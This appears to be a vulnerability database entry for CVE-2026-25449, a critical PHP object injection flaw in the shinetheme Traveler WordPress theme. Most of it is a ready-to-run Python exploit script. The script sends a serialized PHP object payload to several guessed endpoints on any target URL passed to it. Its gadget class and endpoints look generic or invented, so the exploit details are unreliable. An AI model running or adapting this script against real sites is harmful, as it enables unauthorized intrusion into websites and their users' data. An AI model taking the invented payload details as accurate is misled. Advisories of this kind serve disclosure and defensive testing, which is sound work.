Deserialization of Untrusted Data vulnerability in shinetheme Traveler traveler allows Object Injection.This issue affects Traveler: from n/a through < 3.2.8.1.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
shinetheme Traveler < 3.2.8.1
Traveler主题所有低于3.2.8.1的版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2026-25449 PoC - Traveler Theme PHP Object Injection
# Target: WordPress with shinetheme Traveler < 3.2.8.1
TARGET_URL = "http://target-site.com/"
# Malicious serialized payload for PHP object injection
# This creates a payload that triggers __destruct() or __wakeup() magic method
PAYLOAD = 'O:31:"Traveler_Object_Gadget_Class":1:{s:4:"data";s:10:"phpinfo();";}'
def check_vulnerability():
"""Check if target is vulnerable to CVE-2026-25449"""
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Content-Type': 'application/x-www-form-urlencoded',
}
# Try common endpoints where Traveler theme handles serialized data
endpoints = [
'?stpajax=1&action=st_traveler_do_ajax',
'?action=traveler_booking_submit',
'/wp-json/traveler/v1/bookings',
]
for endpoint in endpoints:
try:
url = TARGET_URL.rstrip('/') + endpoint
data = {
'data': PAYLOAD,
'type': 'object_injection_test'
}
response = requests.post(url, data=data, headers=headers, timeout=10, verify=False)
# Check for signs of successful exploitation
if response.status_code == 200 and 'phpinfo' in response.text:
print(f"[+] VULNERABLE: {url}")
print(f"[+] Response indicates successful object injection")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Error testing {url}: {e}")
print("[*] Target may not be vulnerable or endpoint not found")
return False
if __name__ == "__main__":
if len(sys.argv) > 1:
TARGET_URL = sys.argv[1]
print(f"[*] Checking CVE-2026-25449 on {TARGET_URL}")
check_vulnerability()